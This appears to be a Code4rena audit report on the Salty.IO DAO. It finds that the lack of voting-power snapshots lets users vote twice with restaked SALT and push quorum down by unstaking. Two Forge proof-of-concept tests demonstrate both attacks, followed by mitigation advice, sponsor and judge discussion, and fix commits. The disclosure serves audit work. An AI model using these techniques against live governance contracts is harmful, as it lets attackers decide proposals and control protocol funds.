Lack of voting power checkpoint per account and proposal can be used to decide proposals

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L385 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L342 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L317

Vulnerability details

Description

The DAO Governance voting system implements the following measures to prevent an attack via a sudden increase of the user's voting power (e.g. borrowing voting tokens with a flash-loan):

• Voting power is obtained by staking SALT for xSALT (on a 1:1 basis). Therefore, casting a vote on an open ballot requires first to stake SALT.
• Unstaking SALT is penalized according to these parameters:
  • minUnstakeWeeks: The minimum number of weeks for an unstake request at which point minUnstakePercent of the original staked SALT is reclaimable. Default is 2 days, range is from 1 to 12 days.
  • maxUnstakeWeeks: The maximum number of weeks for an unstake request at which point 100% of the original staked SALT is reclaimable. Default is 52 days, range is from 20 to 108 days.
  • minUnstakePercent: The percentage of the original staked SALT that is reclaimable when unstaking the minimum number of weeks. Default is 20%, range is from 10% to 50%.
  • modificationCooldown: The minimum time between increasing and decreasing user shares. Default is 1 hour, range is from 15 minutes to 6 hours.
• Holding xSALT is incentivised with SALT rewards (proportionally to the percent of the total xSALT hold).

Also, the proposals to be voted (aka Ballot) have these relevant properties:

• ballotIsLive: Whether the ballot accepts votes or has ended.
• ballotMinimumEndTime: The earliest timestamp at which a ballot can end. Can be open longer if the quorum has not yet been reached for instance or if no EOA has finalized the ballot (after reaching quorum). Default is 10 days, range is from 3 to 14 days.

Finally, a ballot can finalize when (from DAO.canFinalizeBallot):

• The ballot is live (from Ballot.ballotIsLive).
• The ballot minimum duration has passed (from Ballot.ballotMinimumEndTime).
• The total votes casted for the ballot is greater than the required quorum for the ballot type, which is at least the 0.5% of the SALT total supply (500k SALT) or the current total SALT staked in the protocol multiplied by a ballot-type-dependant factor.

// Checks that ballot is live, and minimumEndTime and quorum have both been reached.
function canFinalizeBallot(uint256 ballotID) external view returns (bool) {
    Ballot memory ballot = ballots[ballotID];
    if (!ballot.ballotIsLive) return false;

    // Check that the minimum duration has passed
    if (block.timestamp < ballot.ballotMinimumEndTime) return false;

    // Check that the required quorum has been reached
    if (
        totalVotesCastForBallot(ballotID) <
        requiredQuorumForBallotType(ballot.ballotType)
    ) return false;

    return true;
}

However, the DAO Governance voting system does not implement any kind of voting power checkpoint (aka. snapshot) per account and proposal as per the functions related with voting, votes counting and quorum calculation demonstrate:

• The Proposals.castVote function only checks that the ballot is live and that the user has voting power.
• The Proposals.totalVotesCastForBallot function just sums all the votes in the ballot.
• The Proposals.requiredQuorumForBallotType uses the current total amount of SALT staked to calculate the required quorum (or defaults to 0.5% of SALT total supply). This amount of xSALT is not fixed, as it fluctuates along with the users that stake and unstake (which it does not matter if they do not claim the SALT).

The voting system is flawed and can be exploited.

Impact

One or multiple malicious users can decide a proposal by following these scenarios:

• A. Voting more than once with the same SALT tokens despite the unstaking penalizations. This attack requires to claim the unstaked SALT tokens and staking them again with another account.
• B. Reducing the quorum required for the ballot type by unstaking the SALT tokens after voting (but not claiming them).
• C. A combination of A and B.

Attempting this attack is likely given the fact that:

• minUnstakeWeeks can be as low as 1 week.
• minUnstakePercent can be high as 50%.
• ballotMinimumEndTime can be as high as 14 days (2 weeks).
• modificationCooldown value (from 15 minutes to 6 hours) is irrelevant in both A and B scenarios described above.
• The required quorum for a ballot is not fixed and can fluctuate, as it depends on the total SALT staked.
• Any unstaking SALT losses could be mitigated by the SALT rewards campaign.

Proof Of Concept

For simplicity sake the DAOConfig settings related with the voting system and the SakingConfig settings related with the SALT staking/unstaking are set as default (via Deployment.sol). On a real attack scenario these values would be set in a more advantageous state for the attacker regarding unstaking-SALT.

Scenario A

Add the following test in src/dao/tests/Proposals.t.sol:

function testScenarioA() public {
    // 1. Fund bob and charlie accounts (alice is already funded)
    address eve = 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496; // NB: from default address

    vm.startPrank(DEPLOYER);
    salt.transfer(bob, 250_000 ether);
    salt.transfer(charlie, 125_000 ether);
    vm.stopPrank();
    assertEq(
        salt.balanceOf(DEPLOYER),
        89_625_000 ether,
        "SALT: deployer balance is not 89.625 mil"
    );
    assertEq(
        salt.balanceOf(alice),
        10_000_000 ether,
        "SALT: alice balance is not 10 mil"
    );
    assertEq(
        salt.balanceOf(bob),
        250_000 ether,
        "SALT: bob balance is not 250k"
    );
    assertEq(
        salt.balanceOf(charlie),
        125_000 ether,
        "SALT: bob balance is not 125k"
    );
    assertEq(salt.balanceOf(eve), 0 ether, "SALT: eve balance is not 0");

    // NB: check no SALT is staked yet
    uint256 stakedSALT = staking.totalShares(PoolUtils.STAKED_SALT);
    assertEq(stakedSALT, 0, "Staking: SALT staked is not 0"); // No SALT staked

    // 2. Make alice stake 250k
    vm.startPrank(alice);
    staking.stakeSALT(250_000 ether);
    uint256 aliceStakedAmount = staking.userShareForPool(
        alice,
        PoolUtils.STAKED_SALT
    );
    vm.stopPrank();

    // 3. Make bob stake 250k
    vm.startPrank(bob);
    staking.stakeSALT(250_000 ether);
    vm.stopPrank();

    // 4. Make charlie stake 125k (it requires an approval first)
    vm.startPrank(charlie);
    salt.approve(address(staking), 125_000 ether);
    staking.stakeSALT(125_000 ether);
    vm.stopPrank();

    // NB: check total staked amount
    assertEq(
        staking.totalShares(PoolUtils.STAKED_SALT),
        625_000 ether,
        "Staking: SALT staked is not 625k"
    );

    // 5. Make alice create a proposal that requires 10% quorum (500k SALT) and
    // make her vote INCREASE (250k votes added to INCREASE, total INCREASE is 250k)
    vm.startPrank(alice);
    uint256 ballotID = proposals.proposeParameterBallot(2, "description");
    uint256 totalSharesAtProposalTime = staking.totalShares(
        PoolUtils.STAKED_SALT
    );
    proposals.castVote(ballotID, Vote.INCREASE);
    vm.stopPrank();

    // 6. Make bob vote DECREASE (250k votes added to DECREASE, total DECREASE is 250k)
    vm.startPrank(bob);
    proposals.castVote(ballotID, Vote.DECREASE);
    vm.stopPrank();

    // 7. Make charlie vote DECREASE (125k votes added to DECREASE, total DECREASE is 375k)
    vm.startPrank(charlie);
    proposals.castVote(ballotID, Vote.DECREASE);
    vm.stopPrank();

    // NB: check total votes and quorum
    uint256 totalVotesBeforeAttack = proposals.totalVotesCastForBallot(
        ballotID
    );
    assertEq(
        totalVotesBeforeAttack,
        625_000 ether,
        "Proposals: total votes are not 625k"
    );
    assertEq(
        totalSharesAtProposalTime,
        totalVotesBeforeAttack,
        "Proposals: total votes are not equal to the total shares of the voters"
    );
    assertEq(
        proposals.requiredQuorumForBallotType(BallotType.PARAMETER),
        500_000 ether,
        "Proposals: required quorum for ballot is not 500k SALT"
    );

    // 8. Make alice unstake her whole amount (250k) with a full unstake duration for simplicity sake (52 weeks)
    vm.startPrank(alice);
    uint256 maxUnstakeWeeks_ = stakingConfig.maxUnstakeWeeks();
    uint256 unstakeID = staking.unstake(
        aliceStakedAmount,
        maxUnstakeWeeks_
    );

    // NB: move timestamp 52 weeks ahead
    vm.warp(block.timestamp + (maxUnstakeWeeks_ * 1 weeks));

    // 9. Make alice claim her unstaked SALT, and transfer them to eve
    staking.recoverSALT(unstakeID);
    salt.transfer(eve, 250_000 ether);
    vm.stopPrank();

    // 10. Make eve stake and vote INCREASE (250k votes added to INCREASE, total INCREASE is 500k)
    vm.startPrank(eve);
    salt.approve(address(staking), 250_000 ether);
    staking.stakeSALT(250_000 ether);
    proposals.castVote(ballotID, Vote.INCREASE);
    vm.stopPrank();

    // NB: check total staked amount, total votes, votes breakdown and quorum
    uint256 totalSharesAfterAttack = staking.totalShares(
        PoolUtils.STAKED_SALT
    );
    assertEq(
        totalSharesAfterAttack,
        625_000 ether,
        "Staking: SALT staked are not 625k"
    );
    uint256 totalVotesAfterAttack = proposals.totalVotesCastForBallot(
        ballotID
    );
    assertEq(
        totalVotesAfterAttack,
        875_000 ether,
        "Proposals: total votes are not 875k"
    );
    assertEq(
        proposals.votesCastForBallot(ballotID, Vote.INCREASE),
        500_000 ether,
        "Proposals: INCREASE votes are not 500k"
    );
    assertEq(
        proposals.votesCastForBallot(ballotID, Vote.DECREASE),
        375_000 ether,
        "Proposals: DECREASE votes are not 375k"
    );
    assertTrue(totalSharesAtProposalTime == totalSharesAfterAttack);
    // @audit few potential invariants are broken
    assertTrue(totalVotesAfterAttack > totalVotesBeforeAttack);
    assertTrue(totalVotesAfterAttack > totalSharesAtProposalTime);

    assertEq(
        proposals.requiredQuorumForBallotType(BallotType.PARAMETER),
        500_000 ether,
        "Proposals: required quorum for ballot are not 500k SALT"
    );

    // 11. Make alice finalize the ballot
    assertTrue(proposals.canFinalizeBallot(ballotID));
    vm.startPrank(alice);
    dao.finalizeBallot(ballotID);
    vm.stopPrank();
}

Scenario B

Add the following test in src/dao/tests/Proposals.t.sol:

function testScenarioB() public {
    // 1. Fund bob and charlie accounts (alice is already funded)
    vm.startPrank(DEPLOYER);
    salt.transfer(bob, 500_000 ether);
    salt.transfer(charlie, 6_750_000 ether);
    vm.stopPrank();
    assertEq(
        salt.balanceOf(DEPLOYER),
        82_750_000 ether,
        "SALT: deployer balance is not 82.750 mil"
    );
    assertEq(
        salt.balanceOf(alice),
        10_000_000 ether,
        "SALT: alice balance is not 10 mil"
    );
    assertEq(
        salt.balanceOf(bob),
        500_000 ether,
        "SALT: bob balance is not 500k"
    );
    assertEq(
        salt.balanceOf(charlie),
        6_750_000 ether,
        "SALT: bob balance is not 6.75 mil"
    );

    // NB: check no SALT is staked yet
    uint256 stakedSALT = staking.totalShares(PoolUtils.STAKED_SALT);
    assertEq(stakedSALT, 0, "Staking: SALT staked is not 0"); // No SALT staked

    // 2. Make alice stake 500k
    vm.startPrank(alice);
    staking.stakeSALT(500_000 ether);
    uint256 aliceStakedAmount = staking.userShareForPool(
        alice,
        PoolUtils.STAKED_SALT
    );
    vm.stopPrank();

    // 3. Make bob stake 250k
    vm.startPrank(bob);
    staking.stakeSALT(250_000 ether);
    vm.stopPrank();

    // 4. Make charlie stake 6.750 mil (it requires an approval first)
    vm.startPrank(charlie);
    salt.approve(address(staking), 6_750_000 ether);
    staking.stakeSALT(6_750_000 ether);
    vm.stopPrank();

    // NB: check total staked amount is 7.5 mil
    assertEq(
        staking.totalShares(PoolUtils.STAKED_SALT),
        7_500_000 ether,
        "Staking: SALT staked is not 7.5 mil"
    );

    // 5. Make alice create a proposal that requires 1% quorum (750k SALT, instead of default 500k SALT) and
    // make her vote INCREASE (500k votes added to INCREASE, total INCREASE is 500k)
    vm.startPrank(alice);
    uint256 ballotID = proposals.proposeParameterBallot(2, "description");
    uint256 totalSharesAtProposalTime = staking.totalShares(
        PoolUtils.STAKED_SALT
    );
    proposals.castVote(ballotID, Vote.INCREASE);
    vm.stopPrank();

    // 6. Make bob vote DECREASE (500k votes added to DECREASE, total DECREASE is 500k)
    vm.startPrank(bob);
    proposals.castVote(ballotID, Vote.DECREASE);
    vm.stopPrank();

    // NB: check total votes and quorum
    uint256 totalVotesBeforeAttack = proposals.totalVotesCastForBallot(
        ballotID
    );
    uint256 requiredQuorum = proposals.requiredQuorumForBallotType(
        BallotType.PARAMETER
    );
    assertEq(
        totalVotesBeforeAttack,
        750_000 ether,
        "Proposals: total votes are not 750k"
    );
    assertEq(
        proposals.requiredQuorumForBallotType(BallotType.PARAMETER),
        750_000 ether,
        "Proposals: required quorum for ballot is not 750k SALT"
    );

    // 7. Make alice unstake almost his whole amount (2 mil instead of 2.5 mil).
    // The number of weeks and whether he claims the full amount is irrelevant as he does not play an active role
    // in this proposal (aka. he does not vote)
    vm.startPrank(charlie);
    uint256 maxUnstakeWeeks_ = stakingConfig.maxUnstakeWeeks();
    staking.unstake(2_000_000 ether, maxUnstakeWeeks_);
    vm.stopPrank();

    // NB: check new total shares and quorum
    assertEq(
        staking.totalShares(PoolUtils.STAKED_SALT),
        5_500_000 ether,
        "Staking: SALT staked are not 5.5 mil"
    );
    assertEq(
        proposals.requiredQuorumForBallotType(BallotType.PARAMETER),
        550_000 ether,
        "Proposals: required quorum for ballot is not 550k SALT"
    );
    assertFalse(proposals.canFinalizeBallot(ballotID));

    // 8. Make alice unstake her whole amount (500k) to push down the quorum requirement
    // The number of weeks and whether she claims the full amount is irrelevant
    vm.startPrank(alice);
    staking.unstake(aliceStakedAmount, maxUnstakeWeeks_);
    vm.stopPrank();

    // NB: check total staked amount, total votes, votes breakdown and quorum
    uint256 totalSharesAfterAttack = staking.totalShares(
        PoolUtils.STAKED_SALT
    );
    assertEq(
        totalSharesAfterAttack,
        5_000_000 ether,
        "Staking: SALT staked are not 5mil"
    );
    uint256 totalVotesAfterAttack = proposals.totalVotesCastForBallot(
        ballotID
    );
    assertEq(
        totalVotesAfterAttack,
        totalVotesBeforeAttack,
        "Proposals: total votes are not 750k"
    );
    assertEq(
        proposals.votesCastForBallot(ballotID, Vote.INCREASE),
        500_000 ether,
        "Proposals: INCREASE votes are not 500k"
    );
    assertEq(
        proposals.votesCastForBallot(ballotID, Vote.DECREASE),
        250_000 ether,
        "Proposals: DECREASE votes are not 250k"
    );
    assertEq(
        proposals.requiredQuorumForBallotType(BallotType.PARAMETER),
        500_000 ether,
        "Proposals: required quorum for ballot are not 500k SALT"
    );

    // NB: move forward time 10 days to be able to finalize the ballot
    assertFalse(proposals.canFinalizeBallot(ballotID));
    uint256 ballotMinimumDuration = daoConfig.ballotMinimumDuration();
    vm.warp(block.timestamp + ballotMinimumDuration);

    // 9. Make alice finalize the ballot that required a quorum of 750k for with just 500k
    vm.startPrank(alice);
    assertTrue(proposals.canFinalizeBallot(ballotID));
    vm.startPrank(alice);
    dao.finalizeBallot(ballotID);
    vm.stopPrank();
}

Tools Used

Forge tests and manually reviewed.

Recommended Mitigation Steps

First, take a snapshot of each user voting power per proposal and only allow them to vote with the balance they hold at that time. Then, consider whether unstaking wihtout claiming to decide a proposal should be allowed by the system and amend the code if necessary.

Assessed type

Governance

[c4-sponsor]

othernet-global (sponsor) disputed

[othernet-global]

Users cannot double vote. If a user stakes, votes, unstakes for two weeks, votes again then they only achieve an additional 20% of their original vote amount - but at an 80% penalty in terms of their owned SALT which is acceptable.

In the POC there are only three users who are unstaking 33% of the staked SALT to affect required quorum. This is not realistic and the default unstaking and quorum behavior is acceptable.

[Picodes]

Considering the fact that:

• votes can run indefinitely and cannot be finalized if the quorum isn't reached
• users can double vote without a "too large" penalty if they wait long enough
• the minUnstakeWeeks and other parameters could be changed
• proposals have potentially a very large economic impact

I think Medium severity is appropriate here both for the fact that user can double vote and that you can still vote after the voting phase if the quorum hasn't been reached. Taken individually I understand the sponsor's reasoning, but accumulating these features could lead to users creating stealth proposals, double-voting, and trying to lower the quorum to get them to the finish line.

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to QA (Quality Assurance)

[c4-judge]

This previously downgraded issue has been upgraded by Picodes

[c4-judge]

Picodes marked the issue as duplicate of #844

[othernet-global]

ballotMaximumDuration added https://github.com/othernet-global/salty-io/commit/758349850a994c305a0ab9a151d00e738a5a45a0

[othernet-global]

minUnstakeWeeks now a minimum of 2 https://github.com/othernet-global/salty-io/commit/1eaf1e3a9060028e669092012a30436a9a8bdfa4